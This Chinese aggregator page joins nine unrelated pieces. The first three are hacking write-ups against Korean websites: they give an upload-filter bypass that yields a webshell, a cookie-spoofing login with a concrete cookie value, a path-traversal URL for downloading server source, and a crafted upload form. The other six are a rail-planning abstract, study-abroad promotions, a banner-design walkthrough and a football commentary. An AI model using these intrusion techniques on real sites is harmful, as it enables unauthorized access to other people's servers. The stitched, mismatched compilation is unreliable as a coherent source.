下面小编给大家整理对一次韩国站的上传点分析，本文共9篇，希望大家喜欢！本文原稿由网友“DIDIDIDIDA”提供。
篇1：对一次韩国站的上传点分析
作者：conqu3
Pax.Mac 核心成员
群里某人求助上传，老是说突破突破，然后就发了个地址：xxx.xx/club/cafe_bbs.php?cafeid=zmaica&ptype=board&sptype=insert&mode=insert&code=bookmark_1
过了几分钟，花开直接拿下webshell。
当时有事，我没立即去拿，后来去瞅了下，发现这东西太容易绕过了。那孩子天天突破突破，关键在于突破的思路！
比如，我们上传一个paxmac.php.r文件，出现的后缀是时间加上.p.r.再上传paxmac.aphp，则直接出现11122.php文件。很容易就知道。此处的绕过方法。非常简单….不多说。
下面我把源码分析下。
上传第一步，检测文件的mime头，判断是否为图片文件!代码如下…. /admin/lib.php下
function img_type($srcimg)
{
if(is_file($srcimg)){
$image_info = getimagesize($srcimg);
switch ($image_info['mime']) {
case ’image/gif’: return true; break;
case ’image/jpeg’: return true; break;
case ’image/png’: return true; break;
case ’image/bmp’: return true; break;
default : return false; break;
}
}else{
return false;
}
}
此处很容易绕过，直接在图片文件里面加上GIE89a或者使用图片马。
上传第二步，检测文件扩展名是否为php|htm|html文件 /admin/lib.php
function file_check( $filename, $file_str = ”php|htm|html” ) {
$file_arr = explode(“|”, $file_str);
$name_arr = explode(“.”, $filename);
$name_cnt = count($name_arr) - 1;
for($ii = 0; $ii < count($file_arr); $ii++) {
if(!strcmp(strtolower($name_arr[$name_cnt]), strtolower($file_arr[$ii]))) {
error(“措 检€ ? ?”);
}
}
}
此处就不说了!重点代码如下:
在cafe_lib.php文件中，这样定义上传的：
/*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
* file upload (;;)
* type=file ?name 毵? $_FILES[氤€] 搿?
* uploadFile(茧€氇,瓴诫?茧,?臧€ロ柬レ?|搿甑攵?? .jpg|.bmp|.gif)
/*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=*/
function uploadFile($ufile,$updir,$upfile,$upexf=“”){ //注意此处$upexf=“” 如果按作者思想，本来应该设计一个全局变量值为“.jpg|.bmp|.gif”！经查，末设置全局变量，
也末传值进来！
$base_dir = $updir; //获取上传路径
$kdir = str_replace($_SERVER[DOCUMENT_ROOT],”,$updir); //将路径去除根路径，作为相对路径。
$kdir_ = explode(“/”,$kdir); //分离
$_rootdir = $_SERVER[DOCUMENT_ROOT]; //取绝对路径
$_tmpdir = ”;
//れ挫?措 表旮
foreach($kdir_ as $key => $value){ //此处为建立上传文件存放文件路径
if(!empty($value)){
$_tmpdir.=’/’.$value;
if(!is_dir($_rootdir.$_tmpdir)){
@mkdir($_rootdir.$_tmpdir, 0707);
}else{
@chmod($_rootdir.$_tmpdir,0707);
}
}}
$fls = $ufile; //取上传文件信息$flsname = $upfile;
//?レ?歆€? if($upexf){ //此处判断扩展名时，传入已经被赋值为空，所以末起作用，不过可借鉴
$exif_tmp = explode(‘|’,$upexf); //本身是将.jpg|.bmp|.gif按|分隔开来。赋值给$exif_tmp变量
$exif=”;
foreach($exif_tmp as $key => $value){
$exif.=”\\\”.$exif_tmp[$key].”$|”; //此处将护展名分离，并作为正则模型
}
$exif = substr($exif,0,-1); //获取正则模型
}
if($fls){ //判断上传文件是否为空，此处上传就不为空
if($upexf) //因开头已赋值所以，我们的文件后缀可以是任意的
{
if(!eregi($exif,$fls[name])) //此处正则判断上传文件扩展名是否为白名单内的值，白名单模式{
echo ’? 检?’;
$fileupload=’0′;
return;exit;
}else{
//?臧€? $fileupload=’1′;
}
}else{ //因为$upexf为空，所以$fileupload=1，导致任意文件上传。
$fileupload=’1′;
}
//茧?毵り?
$fexi = substr($fls[name],-3); //上传后，截取后缀最后三位为文件格式，漏洞存在，利用只需要 paxmac.ephp即可
$upfilename = $upfile.’.’.$fexi; //连接，上传
@mkdir($updir,0777); //创建目录
if(move_uploaded_file($fls[tmp_name],”$updir/$upfilename”)){ //上传文件
return $upfilename; //返回文件名
}else{
return false;
}
@unlink($fls[tmp_name]); //删除昨晚文件
}else{
echo ” 检?惦.”;
}}
以上码，我们可以清楚地看到，漏洞位置。
利用方法很简单。直接上传mei.aphp就可以拿到webshell了，所谓的上传突破，方法不过就是那么几种，关键在于的是灵活运用，而不是单纯地去查别人怎么上传的。
文中若有错误，还请指正，谢谢！
篇2：对韩国某CMS的一次安全检测
某日，一个做网页设计的朋友发给我一个站（www.ba******.net），问我感觉如何？该网站设计漂不漂亮？明明知道我在艺术方面不太擅长，尤其是美感设计，还发过来，不过既然发过来了，也要上去看看，打开网站后，感觉还是蛮简洁的，如图1所示，就看看它的安全性如何，
图1韩国某网站CMS界面一、服务器信息收集
1.获取IP信息
直接打开DOS提示符操作窗口，使用ping命令，对网站www.b*******.net进行ping操作，如图2所示，获取IP地址为“221.***.**.21”，且无丢包现象，延迟时间也较少，呵呵，感觉韩国的计算机就是爽，速度快，硬件配置也高。
图2获取网站IP地址安全小知识
（1）TTL术语
TTL是Time to Live对缩写，它是IP协议包中的一个值，它告诉网络路由器包在网络中的时间是否太长而应被丢弃。有很多原因使包在一定时间内不能被传递到目的地。例 如，不正确的路由表可能会导致包的无限循环。一个解决方法就是在一段时间后丢弃这个包，然后给发送者一个报文，由发送者决定是否要重发。TTL的初值通常 是系统缺省值，是包头中的8位的域。TTL的最初设想是确定一个时间范围，超过此时间就把包丢弃。由于每个路由器都至少要把TTL值减一，TTL通常表示 包在被丢弃前最多能经过的路由器个数。当记数到0时，路由器决定丢弃该包，并发送一个ICMP报文给最初的发送者。
TTL是指定数据报被路由器丢弃之前允许通过的网段数量。通常是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。
使用PING时涉及到的 ICMP 报文类型
一个为ICMP请求回显（ICMP Echo Request）
一个为ICMP回显应答（ICMP Echo Reply）
（2）TTL值
TTL 字段值可以帮助我们识别操作系统
类型，下面是一些常见系统的TTL值：（1）UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255；
（2）Compaq Tru64 5.0 ICMP 回显应答的TTL字段值为64；
（3）微软 Windows NT4 WRKS、Windows NT4 Server、Windows 、Windows XP操作系统 ICMP 回显应答的 TTL字段值为128；
（4）微软 Windows 95、Windows98、Windows98SE、Windows ME操作系统ICMP 回显应答的TTL字段值为 32；
（5）一些特殊情况下，其TTL值会有一些不同：
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
FreeBSD 4.1, 4.0, 3.4；Sun Solaris 2.5.1, 2.6, 2.7, 2.8；OpenBSD 2.6, 2.7；NetBSD；HP UX 10.20等等ICMP 回显应答的TTL字段值为255；
从返回的TTL值中，可以初步判定目标主机是linux系统。
防护技巧
在一般意义上可以通过“ping 主机地址”或者“ping 网站域名地址”来获取TTL值，通过TTL值来判断网站所在主机的操作系统类型。一些防护严格的系统会自定义TTL值，从而让入侵者无法通过TTL值来获取操作系统的类型。TTL值的注册表位置
HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255，
例如本人的计算机的TTL值就是 127，如图3所示，嘿嘿，从常见的TTL值你就无法知道！
图3 自定义TTL值注意：
修改TTL值后需要重启计算机才能生效，不同计算机操作系统可能修改的TTL值地方不一样，一般情况下是去注册表
“HKEY_LOCAL_MACHINE\\SYSTEM \\CurrentControlSet001\\Services\\Tcpip\\Parameters”下修改DefaultTTL的值，如果是在 “HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters”中 则需要新建“DefaultTTL”键，且类型为DWORD。
2.获取服务器架构信息
通常通过在浏览器中输入“221.139.***.21/antian365/”地址，其中“antian365”为不存在的目录， 从返回出错的信息中来判断服务器架构信息，如图4所示，可以看出来系统使用的是apache1.3.36，因为小站根本是使用免费的Mysql数据库，所 以可以确认是典型的LAMP架构。
图4获取服务器架构信息说明：
（1）221.139.***.21/antian365/如果是在IE浏览器输入，一定要把显示友好HTTP错误信息去掉，具体操作：选择IE浏览器－－工具－－Internet选项；在高级选项框中将“显示友好HTTP错误信息”的勾选去掉，这样才能显示详细的错误信息。
LAMP架构网络小知识
LAMP是一种Web网络应用和开发环境，基本上是四种开源软件技术的组合，它们组合在一起产生了一个功能强大的应用服务平台，使用却相对来说比较简单和容易。
LAMP是基于Linux，Apache，MySQL和PHP的开放资源网络开发平台，这个术语来自欧洲，LAMP名字取自每个程序的第一个字母， 也有人认为LAMP是一种Web网络应用和开发环境，是Linux, Apache,MySQL, Php/Perl的缩写，每一个字母代表了一个组件。其实LAMP这个词的由来最早始于德国杂志“c't Magazine”，Michael Kunze在1990年最先把这些项目组合在一起创造了LAMP的缩写字。
这些组件并不是开始就设计为一起使用的，由于开源和免费，随着越来越多的人使用它，其兼容性不断改善和完善，因此逐渐成为Web应用程序开发的一种 架构。在这个架构中每个程序在所有权里都符合开放源代码标准：Linux是开放系统；Apache是最通用的网络服务器；MySQL是带有基于网络管理附 加工具的关系数据库；PHP是流行的对象脚本语言，它包含了多数其它语言的优秀特征来使得它的网络开发更加有效。
有时候，开发者在Windows操作系统下使用这些Linux环境里的工具称为使用WAMP，也称为WAMP架构。 随着开源潮流的蓬勃发展，开放源代码的LAMP已经与J2EE和.Net商业软件形成三足鼎立之势，并且该软件开发的项目在软件方面的投资成本较低，因此 受到整个IT界的关注。有关LAMP的更多知识，可以查看“LAMP架构帖子”www.antian365.com/bbs /viewthread.php?tid=2639&extra=page%3D1&frombbs=1
3.探测端口信息
用sfind扫一下服务器，发现只开启21，80端口，如图5所示，其中3306Mysql数据库端口也可以进行探测。
图5端口信息之后使用HScan软件扫描Mysql数据库和FTP弱口令，没有结果。看来还是得从web程序入手
篇3：对韩国某CMS的一次安全检测
11.cookie欺骗成功
先看看可否使用UPDATE更新管理员密码，先看一下源代码：33333333333333333333
if （$MB_ID == 'ROOT' && $MB_PW != ''）
{
include '../conf/mkpass.php';
$crypt_key = “ml5300a”;
$INPUT_PASS = crypt（$MB_PW，$crypt_key）;
if （$INPUT_PASS == $ROOT_PASS）
{
setcookie（“MyLootPass” ， $ROOT_PASS ， 0 ， “/”）;
getTargetLink（“../index.php”，“”，“”）;
} else { echo“”; }
}
这个不是可以cookie欺骗吗？于是打开桂林老兵的mybrowse，打开网站后，点击自定义cookie，把cookie修改为：
MyLootPass=mldzOtDVllwqw;PHPSESSID=ae92f7f6cd637f942071b67b8f4881ad，然后刷新一下页面，显示已登录（看左上角），如图18所示，
图18 cookie欺骗成功12．得到前台可上传页面
这个是前台管理员，在前台管理中，有发公告的地方，并可以上传文件，如图19所示。
图19 有上传可利用管理页面13.上传php文件受限
后台对文件类型做了一些限制，当我选择php文件时，却弹出一个对话框，如图20所示。
图20限制上传php文件在没有提交上传的时候，就跳出来对话框，说明肯定本地使用Javascript做了验证，所以可以自己构造一个上传表单来突破，于是先下载上传处理文件upload.php文件。构造其地址：
www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=
../../../../bbs/lib/module/upload/upload.php，下载到本地后打开该文件查看其源代码：4444444444444444444
if （$action == “upload”）
{
if（is_uploaded_file（$HTTP_POST_FILES[upFile][tmp_name]））
{
$upFile_Ext = explode（'.' ， $HTTP_POST_FILES[upFile][name]）;
if （strstr（“html，php3，inc，asp，jsp” ， $upFile_Ext[sizeof（$upFile_Ext）-1]））
{
echo “”;
exit;
}
$filesize = $HTTP_POST_FILES[upFile][size];
……（略去无关代码）
if （is_file（“../../../table/$table/upload/”.$HTTP_POST_FILES[upFile][name]）） {
$upname = date（“His”）.“_”.$HTTP_POST_FILES[upFile][name];
move_uploaded_file（$HTTP_POST_FILES[upFile][tmp_name]，
“../../../table/$table/upload/”.$upname）;
}
else {
$upname = $HTTP_POST_FILES[upFile][name];
move_uploaded_file（$HTTP_POST_FILES[upFile][tmp_name]，
“../../../table/$table/upload/”.$upname）;
}
}
好象可以上传PHP文件的，先构建一个上传表单，代码如下：
“www.b****k.net/ez/bbs/
lib/module/upload/upload.php” target='Tmp_Up_Iframe' >
(INPUT type=hidden value=upload name=action)
(INPUT type=hidden value=sub1 name=table)
(INPUT type=hidden value=200 name=MaxUp_Size)
(INPUT type=file name=upFile)
(INPUT type=submit value=提交 name=SubmitBtn)
用时将( ) 改为< >
另存为upload.htm，再次选择一个php文件上传试试，发现并不能上传，如图21所示，
图21还是不能上传php文件于是上传一个gif.phP文件（linux服务器是区分大小写的）。上传成功后，用IE浏览器浏览（不要用Firefox，不然图片也会变成下载）www.b****k.net/ez/bbs/table/sub1/upload/gif.phP
，但发现是出现下载页面，服务器不解释。如图22所示。图22不解释phP文件再看一看strstr函数的解释。
语法: string strstr（string haystack， string needle）;
本函数将 needle 最先出现在 haystack 处起至 haystack 结束的字符串返回。若找不到 needle 则返回 false。
原来只要文件名后缀包含php3、php、ph、p等类型都不行。没折了，不搞了。
谁知道有什么办法突破，请告知我。
说明：验证个人认为，使用session验证比cookie安全些；还有就是对上传文件格式的验证，一定要在服务器端进行，在客户端验证的话，随便自己在本地构建一个表单就可以轻轻松松绕过了。
三、总结与收获
通过本次对韩国某CMS系统网站进行检测，用到了LiveHTTPHeaders、RefControl插件，通过这些插件来辅助进行安全检查，其 效果还是非常明显的，在本次检测中成功进行突破防盗链、进行了cookie欺骗，对php类型的网站安全检查应该是多了一些实际经验。欢迎跟我进行技术探 讨，我在antian365.com论坛中的id是N3tl04D。
篇4：轨道交通站点规划评价指标体系分析
轨道交通站点规划评价指标体系分析
城市轨道交通车站规划是轨道交通路网规划重要元素.站点规划评价作为车站布设中的重要环节,直接涉及到方案的取舍,文中选择层次结构模式,提出一个多目标、多层次的综合评价指标体系,并用层次一关联分析法对其进行分析研究,取得较好的评价效果.
作 者：张涛 刘晓峰 ZHANG Tao LIU Xiao-feng 作者单位：石家庄铁道学院研究生分院,河北石家庄,050043 刊 名：交通科技与经济 英文刊名：TECHNOLOGY & ECONOMY IN AREAS OF COMMUNICATIONS 年，卷(期)： 11(2) 分类号：U239.5 关键词：城市轨道交通 评价体系 层次一关联分析法 灰色理论篇5：韩国留学六大优势分析
韩国留学六大优势分析
韩国政府将扩大留学生规模，预计留韩人数将在达到10万人次之多。韩国留学呈现六大优势。韩国政府为了鼓励工薪阶层留学，推出很多优惠政策和奖学金制度，来吸引留学生。韩国与中国一样重视教育，他们认为教育可以培养人才，是发展科技和经济的捷径。
一：注重国际合作，学习环境优越
韩国政府注重加强国际教育方面的合作，而且韩国大学宽进严出，是择生制，不需考试，中国留学生相对容易读取相应学位。像韩国延世大学、仁荷大学、崇实大学、中央大学等都与中国的名校有校际合作和交流。韩国大学专业设置丰富，教学质量优良，学生可以自由的选择想要学习的专业。
二：留学费用低廉，适合工薪家庭
韩国国立和公立大学的本科生一年学费大约是1.5-2万元人民币，研究生是2-2.5万元人民币。私立大学本科生一年学费大约是3-4万元人民币，研究生4万元人民币。韩国法务部要求的资金担保为3个月以上8D10万元人民币存款即可，一般工薪家庭皆可承受。
三：丽水世博会，韩语人才紧俏
2012韩国丽水世博会吸引了全球105个国家和地区及10个国际组织组团参展，小语种韩语翻译人才日渐紧俏。中韩贸易近年来迅猛发展，韩国在华企业逐年增多，韩语人才备受青睐。
四：申请程序简便，签证成功率高
韩国对外国留学生的政策非常宽松，申请学生签证手续便捷，成功率高。资格审查内容主要是申请人的修学能力和经济能力。申请周期3个月即可，安教国际近年来韩国留学签证率达100%。
五：留学合法打工，大学奖学金丰厚
韩国政府规定：从2月1日起，在韩国学习的外国留学生留学(读学位)一年以上，将被允许进行合法打工。韩国各大学都有针对留学生的学费减免奖学金，仁荷大学对中国高考成绩优异的.学生推出了高达30万元人民币的全额奖学金。
六：就业前景良好，发展方向宽广
韩国近年来致力于开拓中国这个巨大的市场，需要大量懂韩语、有海外留学背景、熟悉国内市场运作的人才，有许多中国留学生将被韩国公司聘请来开拓、管理在中国的分公司。更有许多学生取得韩国重点大学的学位还可以转申请美国等发达国家继续攻读更高的学位。
篇6：韩国留学的优势分析
韩国留学的优势分析
教育水准高、学校专业设置广泛
韩国拥有世界知名的高等学府，专业设置广泛。以注重应用学科而闻名，像半导体、造船、纺织、家用电器、汽车制造等专业有很高的水准，而计算机应用、经济学和商科绝对是亚洲一流。
自由选择专业、轻松入读名牌大学
根据韩国的有关法律，不论公立或私立的高等院校都必须接受教育部的监督，和我国类似，韩国学生要考入高等院校都受到严格的限制，因此竞争激烈。但是对于国际学生就宽松得多，没有苛刻的入学考试。TOPIC（韩国语能力考试）通过之后，就可以申请包括名牌大学在内的'高等学府。
学习生活环境舒适、留学费用低廉
韩国四季分明，天气清爽宜人。韩国大学校园风景优美，为学生创造了舒适的学习生活环境。留学韩国，一年全部费用在4万-8万人民币左右。
担保金额低、申请手续快捷
申请韩国留学，担保金较低，一般为1万美金以上。同时申请韩国留学的材料简单，手续快捷。
文凭含金量高
韩国的学历、学位被世界广泛认可。研究生院可提供高额奖学金，学生可低费用获得硕士、博士文凭。
政府鼓励勤工俭学、打工机会多
韩国宽松的勤工俭学政策，更使得希望独立生活的年轻人可以轻松地依靠自己的力量完成学业。
就业前景广阔
随着韩国企业对中国投资的不断加大，需要大量熟悉中国国情、了解韩国文化、掌握韩国语言的中国留学生。
经济发达、江汉奇迹举世瞩目
在过去的30年中，韩国的年平均经济增长率为8.6%，被成为“亚洲四小龙”。近几年，韩国的高速因特网发展迅速，高速因特网网民占50%，并覆盖乡镇。
篇7：韩国留学就业前景分析
韩国留学专家为您带来韩国留学就业前景分析。中韩贸易近年来发展迅速，韩国留学就业非常好，许多韩国公司已在中国开设工厂。
韩国知名公司大都愿意招聘韩国留学归来的中国学生。为的是在中国能有更健康的长期发展而大力提倡人才本地化。许多从韩国学成归来的学生都被韩国公司聘请来开拓、管理在中国的分公司。
韩国留学归国的学生施展个人才华和体现自我价值的空间同样十分广阔！与此同时，中国的企业也大踏步走向世界。在韩国，中国早已成立了为中国大企业提供各方面的优惠政策和服务的驻韩商会，驻韩中国企业需要懂韩语的人才，学生学成毕业后可以进入驻韩公司，代表中国的企业与韩国人打交道，在实现个人发展的同时还能为中国企业走向世界贡献力量。
请同学们不要觉得用几年的时间在韩国学习是时间上的浪费，只要有真正的努力，最终你的留学目的一定能达成！而且你掌握了一门小语种：韩国语。掌握一门第二外语，在求职的时候无疑为自己的竞争增加筹码。即使不在韩企工作，从事与韩国有交流的行业一样会如鱼得水。
最后留学韩国留学专家提醒所有留韩学子和有留韩意愿的同学们，要看到就业后的收入与求学时的投入的对比。同样是海归，找到的是薪酬相当的工作，韩国留学和前往其他留学热门国家留学相比，性价比高很多。
[最新韩国留学就业前景分析]
篇8：韩国网站横幅制作分析
今天我看了一个韩国的模板PSD，给网的朋友们分析一下韩国网站横幅制作过程
先看一下成品
我设计banner的时候经常就找一张合适的照片，再加上文字就OK了，很少会拼凑一些图
就算是拼凑的话也基本就是拉个渐变把两张图凑在一起
但这次来看看韩国的banner是怎样设计的
首先我来一个一个的分解
这是最后面的背景图，蓝天白云，接下来
在原来的基础之上就加了一层的白云，这次是把第一层反转过来，变亮处理
接着在左上角添加一张抠好的树的图片，是用来遮挡住房子的上面
接下来把抠好的房子放在树的上面。
我说说这个房子，仔细看就是一个普通的照片，一点特殊处理的都没有，
看来韩国的banner主要是靠拼凑做出来的，首先考验的就是拼凑的技巧了。
再接着看下一层
这个草地照片是很好找的，XP的默认壁纸就是这样的，稍稍的挡住一些房子底部的街道，接着为了添加小道来做准备
这个小道的加入为房子和整个画面增加了很强的立体感
最后在小道的旁边再加入一个小树的图层
设计师很细心的在小树底下加上了一层阴影
最后加上右边的大树与文字，整个banner就设计完毕了。
从以上的分析可以看出，设计师可以按照网站表达的出题自行拼凑出一个banner出来。
首先注意抠图的技巧，大树的叶子与小道两边的草就比较难。
经过多次练习可以更好的掌握这种banner的制作方法。有助于我们将来设计更具特色的banner。
篇9：国足对韩国比赛观后感
歇了数月后，世预赛亚洲赛区12强赛再度开打，今晚国足在长沙对阵亚洲强队韩国队。这是一场非常非常关键的比赛，赢了，国足将保留晋级世界杯决赛圈的希望。不能赢，基本将提前出局，因而，赢球是国足的唯一目标;这也是一场普通的比赛，这么多年的较量，让我们必须正视国足目前与韩国队的差距，唯有拼搏才能获得球迷的认可。
在中韩男足的交锋史上，韩国足球占据上风，两队最近的比赛则是12强赛的首轮比赛，这场比赛，国足2∶3负于韩国。现在看起来，这场比赛奠定了两队12强赛前五轮的走势，国足负于韩国后，至今一场未胜，目前小组暂时垫底。韩国则步入正常轨迹，目前已拿到10分。12强赛分为两个小组，小组前两名直接晋级世界杯决赛圈，第三名需要参加附加赛。12强赛还剩下5轮，犹如一场比赛的下半场，国足若要翻盘，“下半场”的比赛就必须尽可能多赢球，下半场的第一个对手仍是韩国队，击败韩国队成了国足最终能否翻盘所必须完成的任务。
必须承认，韩国队实力强于国足，但正如里皮所言，韩国队还没有强大到不可战胜的地步。一个利好是本赛季亚冠小组赛三轮过后，上港、苏宁与恒大均是所在小组的头名，上港与苏宁均取得3连胜，在与韩国联赛的俱乐部球队对抗中，中超球队已经形成对韩国球队的总体压制，而目前的国家队中大部分主力都刚从亚冠赛场归来，他们真的不憷韩国队。此外。我们也该回顾一下，去年9月1日进行的12强赛小组赛的'首场比赛，虽然国足输了，但国足在一度0∶3落后的情况下连扳两球，客场2∶3负于韩国，从国足在该场比赛后段所形成的积极反扑来看，那场比赛可以定义为“惜败”。那场比赛在当时也确实给国足、部分球迷带来了积极的情绪。半年后，中韩足球再度遭遇，坐镇主场的国足肯定想拿下对手，因而，面对韩国队，国足将士的比赛欲望，求胜心态是不用动员的。
客观地说，韩国队的竞技状态不是太好。小组赛首战令中国队充分领教了个人能力的孙兴慜因禁赛将缺席此战，韩国队中场核心寄诚庸也处在膝伤后刚复出的阶段。此外韩国队也因小组赛形势、去年亚冠赛场的假球丑闻等各种情况承受着一定压力。当然，对国足有利的情况只是相对的，国足谋求战胜韩国的难度是非常大的。中国队必须将自己摆在拼对手的位置上。其实，回首中韩足球的交锋史，双方大部分时间都处在僵持，就看谁能拼到最后不松气，谁就更能笑到最后。这次，无论输赢，希望国足拼到底。
至今，还能记起里皮当年入主恒大时所说的，“我的足球哲学就是充满侵略性的防守和凌厉的进攻。”在执教恒大队期间，恒大队与韩国队数次交锋，恒大队对韩国球队总能形成全场压制，输赢先放到一边，恒大队踢得比赛，其过程让人看得过瘾。
